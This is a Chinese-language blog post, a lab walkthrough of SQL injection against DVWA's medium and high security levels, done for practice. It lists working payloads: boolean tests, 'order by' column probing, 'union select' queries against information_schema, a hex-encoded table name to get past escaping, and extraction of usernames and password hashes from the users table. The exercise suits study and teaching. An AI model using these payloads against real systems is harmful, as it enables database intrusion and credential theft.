dvwa中med级别和high级别的sql注入

med级别:
1.提交id发现url上没信息,说明这是个post类
2.用burp抓包,并将数据包发送到repeater中
3.在post的数据中添加内容1' or 1=1#报错,说明提交的信息经过处理的
4.找到源码可以看出Medium级别的代码利用mysql_real_escape_string函数对特殊符号\x00,\n,\r,\,’,”,\x1a进行转义
5.添加内容or1=1#测试,成功,说明是数字型注入
6.添加2 order by 2 #、2 order by 3 #测试可以看出字段有两个
7.添加2 union select 1 ,database()#,查看数据库为dvwa
8.查看表名
2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
有用的表为users
9.获取字段名:
union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #需要对'users'进行16进制转码,不然报错,有用的字段名为user和password
10获取用户和密码信息:
2 union select group_concat(user),group_concat(password) from users #
 
11对user为admin的密码(5f4dcc3b5aa765d61d8327deb882cf99)进行md5解密:
hight级别
1.将DVWA security换成high级别。打开sql注入练习:
2.在输入框中输入1'测试:
3.输入 1' and '1'='1测试:
 
4.输入 1' and '1'='2测试,由结果判断这是字符型注入
5. 输入1' order by 2#、1' order by 3#判断字段数,字段数为2:
5. 获取数据库名:1' union select 1,database()#
 
6.获取表名
输入1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa'#
7.获取数据库中的列
输入1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#可以得到user和password列
8.获取user列和 password列的内容
输入1' union select group_concat(user),group_concat(password) from users#
7.对user为admin的密码(5f4dcc3b5aa765d61d8327deb882cf99)进行md5解密:
posted @ 2019-10-30 21:40  默忆  阅读(1178)  评论(0编辑  收藏  举报